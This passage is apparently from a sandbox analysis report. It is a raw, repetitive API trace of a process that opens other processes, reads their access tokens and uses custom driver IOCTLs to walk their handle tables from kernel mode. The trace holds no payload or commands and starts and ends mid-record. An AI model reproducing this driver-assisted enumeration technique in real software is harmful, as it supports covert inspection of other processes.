Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0104.873] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.873] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0104.873] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.873] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.873] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.873] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.873] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.874] CloseHandle (hObject=0xc8) returned 1 [0104.874] CloseHandle (hObject=0xc0) returned 1 [0104.874] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.875] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.875] PsAcquireProcessExitSynchronization () returned 0x0 [0104.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0) [0104.875] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0104.875] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.875] PsReleaseProcessExitSynchronization () returned 0x2 [0104.875] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0104.875] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.875] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0104.875] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.875] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0104.875] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.875] PsAcquireProcessExitSynchronization () returned 0x0 [0104.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0) [0104.875] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0104.875] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.875] PsReleaseProcessExitSynchronization () returned 0x2 [0104.875] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0104.875] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.875] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0104.875] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.875] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.875] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.875] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.875] PsAcquireProcessExitSynchronization () returned 0x0 [0104.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff88004f095d0) [0104.876] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.876] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.876] PsReleaseProcessExitSynchronization () returned 0x2 [0104.876] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0104.876] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.876] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.876] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.876] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.876] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0104.876] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.876] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0104.876] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.876] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0104.876] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.876] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.876] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.876] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.876] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.877] CloseHandle (hObject=0xc8) returned 1 [0104.877] CloseHandle (hObject=0xc0) returned 1 [0104.877] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.878] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.878] PsAcquireProcessExitSynchronization () returned 0x0 [0104.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0) [0104.878] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0104.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.878] PsReleaseProcessExitSynchronization () returned 0x2 [0104.878] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0104.878] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.878] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0104.878] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.878] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.878] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0104.878] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.878] PsAcquireProcessExitSynchronization () returned 0x0 [0104.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0) [0104.878] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0104.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.878] PsReleaseProcessExitSynchronization () returned 0x2 [0104.878] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0104.878] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.878] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0104.878] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.878] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.878] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.878] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.878] PsAcquireProcessExitSynchronization () returned 0x0 [0104.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff88004f095d0) [0104.878] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.879] PsReleaseProcessExitSynchronization () returned 0x2 [0104.879] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0104.879] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.879] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.879] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.879] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.879] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0104.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.879] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0104.879] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.879] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0104.879] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.879] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.879] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.879] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.879] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.881] CloseHandle (hObject=0xc8) returned 1 [0104.881] CloseHandle (hObject=0xc0) returned 1 [0104.881] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.881] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.881] PsAcquireProcessExitSynchronization () returned 0x0 [0104.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0) [0104.881] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0104.881] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.881] PsReleaseProcessExitSynchronization () returned 0x2 [0104.881] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0104.881] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.881] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0104.881] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.881] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.881] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0104.881] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.881] PsAcquireProcessExitSynchronization () returned 0x0 [0104.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0) [0104.881] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0104.881] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.882] PsReleaseProcessExitSynchronization () returned 0x2 [0104.882] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0104.882] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.882] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0104.882] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.882] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.882] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.882] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.882] PsAcquireProcessExitSynchronization () returned 0x0 [0104.882] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff88004f095d0) [0104.882] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.882] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.882] PsReleaseProcessExitSynchronization () returned 0x2 [0104.882] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0104.882] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.882] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.882] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.882] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.882] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0104.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.882] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0104.882] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.882] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0104.882] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.882] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.882] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.882] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.882] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.884] CloseHandle (hObject=0xc8) returned 1 [0104.884] CloseHandle (hObject=0xc0) returned 1 [0104.884] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.884] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.884] PsAcquireProcessExitSynchronization () returned 0x0 [0104.884] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff88004f095d0) [0104.884] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0104.884] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.884] PsReleaseProcessExitSynchronization () returned 0x2 [0104.884] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0104.884] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.884] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0104.884] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.884] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.884] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0104.884] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.884] PsAcquireProcessExitSynchronization () 